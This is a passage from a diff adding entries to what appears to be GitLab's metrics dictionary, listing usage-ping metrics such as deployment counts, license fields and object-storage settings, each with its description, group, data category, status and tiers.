+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216183201_compliance_features_track_unique_visits_union.yml)
+
+Group: `group::compliance`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `counts_monthly.aggregated_metrics.i_testing_paid_monthly_active_user_total`
+
+Aggregated count of users who have engaged with a Premium or Ultimate tier testing feature per month.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216183209_i_testing_paid_monthly_active_user_total.yml)
+
+Group: `group::testing`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `counts_monthly.aggregated_metrics.incident_management_alerts_total_unique_counts`
+
+Count of unique users per month to take an action on an alert
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180509_incident_management_alerts_total_unique_counts.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts_monthly.aggregated_metrics.incident_management_incidents_total_unique_counts`
+
+Count of unique users per month to take an action on an incident
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180511_incident_management_incidents_total_unique_counts.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts_monthly.aggregated_metrics.product_analytics_test_metrics_intersection`
+
+This was test metric used for purpose of assuring correct implementation of aggregated metrics feature
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183205_product_analytics_test_metrics_intersection.yml)
+
+Group: `group::product intelligence`
+
+Data Category: `Optional`
+
+Status: `removed`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts_monthly.aggregated_metrics.product_analytics_test_metrics_union`
+
+This was test metric used for purpose of assuring correct implementation of aggregated metrics feature
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183203_product_analytics_test_metrics_union.yml)
+
+Group: `group::product intelligence`
+
+Data Category: `Optional`
+
+Status: `removed`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts_monthly.deployments`
+
+Total deployments count for recent 28 days
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210201124930_deployments.yml)
+
+Group: `group::ops release`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts_monthly.failed_deployments`
+
+Total failed deployments
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181924_failed_deployments.yml)
+
+Group: `group::release`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `counts_monthly.packages`
+
+A monthly count of packages published to the registry
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181050_packages.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts_monthly.personal_snippets`
+
+Monthly count of personal Snippets
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180308_personal_snippets.yml)
+
+Group: `group::editor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts_monthly.project_snippets`
+
+Monthly count of project Snippets
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180310_project_snippets.yml)
+
+Group: `group::editor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts_monthly.projects`
+
+Count number of projects created monthly
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210514141518_monthly_projects_creation.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `implemented`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts_monthly.projects_with_alerts_created`
+
+Monthly count of unique projects with HTTP alerting enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183159_projects_with_alerts_created.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts_monthly.snippets`
+
+Monthly count of All Snippets
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180312_snippets.yml)
+
+Group: `group::editor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts_monthly.successful_deployments`
+
+Total successful deployments
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181923_successful_deployments.yml)
+
+Group: `group::release`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `counts_weekly.aggregated_metrics.code_review_category_monthly_active_users`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210427103407_code_review_category_monthly_active_users.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts_weekly.aggregated_metrics.code_review_extension_category_monthly_active_users`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210427103452_code_review_extension_category_monthly_active_users.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts_weekly.aggregated_metrics.code_review_group_monthly_active_users`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210427103328_code_review_group_monthly_active_users.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts_weekly.aggregated_metrics.compliance_features_track_unique_visits_union`
+
+Unique users that have used audit event screen, audit event API, compliance dashboard, or credential inventory
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216183211_compliance_features_track_unique_visits_union.yml)
+
+Group: `group::compliance`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `counts_weekly.aggregated_metrics.i_testing_paid_monthly_active_user_total`
+
+Aggregated count of users who have engaged with a Premium or Ultimate tier testing feature per week.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216183219_i_testing_paid_monthly_active_user_total.yml)
+
+Group: `group::testing`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `counts_weekly.aggregated_metrics.incident_management_alerts_total_unique_counts`
+
+Count of unique users per week to take an action on an alert
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180513_incident_management_alerts_total_unique_counts.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts_weekly.aggregated_metrics.incident_management_incidents_total_unique_counts`
+
+Count of unique users per week to take an action on an incident
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180515_incident_management_incidents_total_unique_counts.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts_weekly.aggregated_metrics.product_analytics_test_metrics_intersection`
+
+This was test metric used for purpose of assuring correct implementation of aggregated metrics feature
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216183215_product_analytics_test_metrics_intersection.yml)
+
+Group: `group::product intelligence`
+
+Data Category: `Optional`
+
+Status: `removed`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts_weekly.aggregated_metrics.product_analytics_test_metrics_union`
+
+This was test metric used for purpose of assuring correct implementation of aggregated metrics feature
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216183213_product_analytics_test_metrics_union.yml)
+
+Group: `group::product intelligence`
+
+Data Category: `Optional`
+
+Status: `removed`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `database.adapter`
+
+This metric only returns a value of PostgreSQL in supported versions of GitLab. It could be removed from the usage ping. Historically MySQL was also supported.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210201124935_database_adapter.yml)
+
+Group: `group::enablement distribution`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `database.pg_system_id`
+
+TBD
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210216183248_pg_system_id.yml)
+
+Group: `group::distribution`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `database.version`
+
+The version of the PostgreSQL database.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210216175609_version.yml)
+
+Group: `group::distribution`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `dependency_proxy_enabled`
+
+A count of projects where the dependency proxy is enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210204124900_dependency_proxy_enabled.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `edition`
+
+Edition of GitLab such as EE or CE
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210216175604_edition.yml)
+
+Group: `group::distribution`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `elasticsearch_enabled`
+
+Whether Elasticsearch is enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/settings/20210204124924_elasticsearch_enabled.yml)
+
+Group: `group::global search`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `geo_enabled`
+
+Is Geo enabled?
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/settings/20210216180406_geo_enabled.yml)
+
+Group: `group::geo`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `git.version`
+
+Information about Git version
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/license/20210216183237_version.yml)
+
+Group: `group::distribution`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `gitaly.clusters`
+
+Total GitLab Managed clusters both enabled and disabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210204124932_clusters.yml)
+
+Group: `group::product intelligence`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `gitaly.filesystems`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210216183241_filesystems.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `gitaly.servers`
+
+Total Gitalty Servers
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210204124930_servers.yml)
+
+Group: `group::product intelligence`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `gitaly.version`
+
+Version of Gitaly
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/license/20210204124928_version.yml)
+
+Group: `group::product intelligence`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `gitlab_pages.enabled`
+
+Whether GitLab Pages is enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210204124934_enabled.yml)
+
+Group: `group::product intelligence`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `gitlab_pages.version`
+
+The version number of GitLab Pages
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/license/20210204124936_version.yml)
+
+Group: `group::product intelligence`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `gitlab_shared_runners_enabled`
+
+Whether shared runners is enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210204124902_gitlab_shared_runners_enabled.yml)
+
+Group: `group::runner`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `gitpod_enabled`
+
+Whether Gitpod is enabled in the instance
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210216180314_gitpod_enabled.yml)
+
+Group: `group::editor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `grafana_link_enabled`
+
+Whether Grafana is enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210204124922_grafana_link_enabled.yml)
+
+Group: `group::product intelligence`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `gravatar_enabled`
+
+Whether gravatar is enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210204124904_gravatar_enabled.yml)
+
+Group: `group::access`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `historical_max_users`
+
+The peak active user count. Active is defined in UsersStatistics model.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210204124835_historical_max_users.yml)
+
+Group: `group::license`
+
+Data Category: `Subscription`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `hostname`
+
+Host name of GitLab instance
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/license/20210204124827_hostname.yml)
+
+Group: `group::product intelligence`
+
+Data Category: `Standard`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `ingress_modsecurity_enabled`
+
+Whether or not ModSecurity is enabled within Ingress
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210216175459_ingress_modsecurity_enabled.yml)
+
+Group: `group::container security`
+
+Data Category: `Operational`
+
+Status: `removed`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `installation_type`
+
+The installation method used to install GitLab (Omnibus, Helm, etc)
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/license/20210216175602_installation_type.yml)
+
+Group: `group::distribution`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `instance_auto_devops_enabled`
+
+Whether auto DevOps is enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210204124856_instance_auto_devops_enabled.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `ldap_enabled`
+
+Whether LDAP is enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210204124906_ldap_enabled.yml)
+
+Group: `group::product intelligence`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `license_billable_users`
+
+Number of all billable users (active users excluding bots and guests).
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210531204603_license_billable_users.yml)
+
+Group: `group::product intelligence`
+
+Data Category: `Optional`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
+### `license_expires_at`
+
+The date the license ends
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210204124847_license_expires_at.yml)
+
+Group: `group::license`
+
+Data Category: `Subscription`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `license_id`
+
+The ID of the license
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210204124833_license_id.yml)
+
+Group: `group::license`
+
+Data Category: `Subscription`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `license_md5`
+
+The MD5 hash of license key of the GitLab instance
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210204124831_license_md5.yml)
+
+Group: `group::license`
+
+Data Category: `Standard`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `license_plan`
+
+The plan of the GitLab license
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210204124849_license_plan.yml)
+
+Group: `group::license`
+
+Data Category: `Subscription`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `license_starts_at`
+
+The date the license starts
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210204124845_license_starts_at.yml)
+
+Group: `group::license`
+
+Data Category: `Subscription`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `license_subscription_id`
+
+Licese zuora_subscription_id
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210204124852_license_subscription_id.yml)
+
+Group: `group::license`
+
+Data Category: `Standard`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `license_trial`
+
+Whether this is a trial license or not
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210204124851_license_trial.yml)
+
+Group: `group::license`
+
+Data Category: `Subscription`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `license_trial_ends_on`
+
+Date the trial license ends on
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210204124926_license_trial_ends_on.yml)
+
+Group: `group::license`
+
+Data Category: `Subscription`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `license_user_count`
+
+The number of seats included in the license
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210204124843_license_user_count.yml)
+
+Group: `group::license`
+
+Data Category: `Subscription`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `licensee.Company`
+
+Company on the GitLab license
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210204124841_company.yml)
+
+Group: `group::license`
+
+Data Category: `Subscription`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `licensee.Email`
+
+Email on the GitLab license
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210204124839_email.yml)
+
+Group: `group::license`
+
+Data Category: `Subscription`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `licensee.Name`
+
+Name on the GitLab license
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210204124837_name.yml)
+
+Group: `group::license`
+
+Data Category: `Subscription`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `mail.smtp_server`
+
+The value of the SMTP server that is used
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210216174829_smtp_server.yml)
+
+Group: `group::activation`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `mattermost_enabled`
+
+Whether Mattermost is enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210204124908_mattermost_enabled.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `object_store.artifacts.enabled`
+
+Whether Object Storage is enabled for Artifacts
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210216180836_enabled.yml)
+
+Group: `group::memory`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `object_store.artifacts.object_store.background_upload`
+
+Whether Background Upload for Object Storage is enabled for Artifacts
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210216180841_background_upload.yml)
+
+Group: `group::memory`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `object_store.artifacts.object_store.direct_upload`
+
+Whether Direct Upload for Object Storage is enabled for Artifacts
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210216180840_direct_upload.yml)
+
+Group: `group::memory`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `object_store.artifacts.object_store.enabled`
+
+Whether Object Storage is enabled for Artifacts
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210216180838_enabled.yml)
+
+Group: `group::memory`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `object_store.artifacts.object_store.provider`
+
+What Object Storage provider has been configured for Artifacts
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210216180843_provider.yml)
+
+Group: `group::memory`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `object_store.external_diffs.enabled`
+
+Whether Object Storage is enabled for External Diffs
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210216180845_enabled.yml)
+
+Group: `group::memory`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `object_store.external_diffs.object_store.background_upload`
+
+Whether Background Upload for Object Storage is enabled for External Diffs
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210216180851_background_upload.yml)
+
+Group: `group::memory`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `object_store.external_diffs.object_store.direct_upload`
+
+Whether Direct Upload for Object Storage is enabled for External Diffs
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210216180849_direct_upload.yml)
+
+Group: `group::memory`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `object_store.external_diffs.object_store.enabled`
+
+Whether Object Storage is enabled for External Diffs
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210216180847_enabled.yml)
+
+Group: `group::memory`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `object_store.external_diffs.object_store.provider`
+
+What Object Storage provider has been configured for External Diffs
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210216180852_provider.yml)
+
+Group: `group::memory`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `object_store.lfs.enabled`
+
+Whether Object Storage is enabled for LFS
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210216180854_enabled.yml)
+
+Group: `group::memory`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `object_store.lfs.object_store.background_upload`
+
+Whether Background Upload for Object Storage is enabled for LFS
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210216180900_background_upload.yml)
+
+Group: `group::memory`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `object_store.lfs.object_store.direct_upload`
+
+Whether Direct Upload for Object Storage is enabled for LFS
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210216180858_direct_upload.yml)
+
+Group: `group::memory`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `object_store.lfs.object_store.enabled`
+
+Whether Object Storage is enabled for LFS
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210216180856_enabled.yml)
+
+Group: `group::memory`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `object_store.lfs.object_store.provider`
+
+What Object Storage provider has been configured for LFS
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210216180902_provider.yml)
+
+Group: `group::memory`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `object_store.packages.enabled`
+
+Whether Object Storage is enabled for Uploads
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210216180913_enabled.yml)
+
+Group: `group::memory`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `object_store.packages.object_store.background_upload`
+
+Whether Background Upload for Object Storage is enabled for Packages
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210216180918_background_upload.yml)
+
+Group: `group::memory`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `object_store.packages.object_store.direct_upload`
+
+Whether Direct Upload for Object Storage is enabled for Packages
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210216180916_direct_upload.yml)
+
+Group: `group::memory`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `object_store.packages.object_store.enabled`
+
+Whether Object Storage is enabled for Packages
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210216180915_enabled.yml)
+
+Group: `group::memory`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `object_store.packages.object_store.provider`
+
+What Object Storage provider has been configured for Packages
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210216180920_provider.yml)
+
+Group: `group::memory`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `object_store.uploads.enabled`
+
+Whether Object Storage is enabled for Uploads
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210216180903_enabled.yml)
+
+Group: `group::memory`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `object_store.uploads.object_store.background_upload`
+
+Whether Background Upload for Object Storage is enabled for Uploads
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210216180909_background_upload.yml)
+
+Group: `group::memory`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `object_store.uploads.object_store.direct_upload`
+
+Whether Direct Upload for Object Storage is enabled for Uploads
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210216180907_direct_upload.yml)
+
+Group: `group::memory`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `object_store.uploads.object_store.enabled`
+
+Whether Object Storage is enabled for Uploads
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210216180905_enabled.yml)
+
+Group: `group::memory`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `object_store.uploads.object_store.provider`
+
+What Object Storage provider has been configured for Uploads
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210216180911_provider.yml)
+
+Group: `group::memory`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `omniauth_enabled`
+
+Whether OmniAuth is enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210204124910_omniauth_enabled.yml)
+
+Group: `group::product intelligence`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `prometheus_enabled`
+
+Whether the bundled Prometheus is enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210204124912_prometheus_enabled.yml)
+
+Group: `group::product intelligence`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
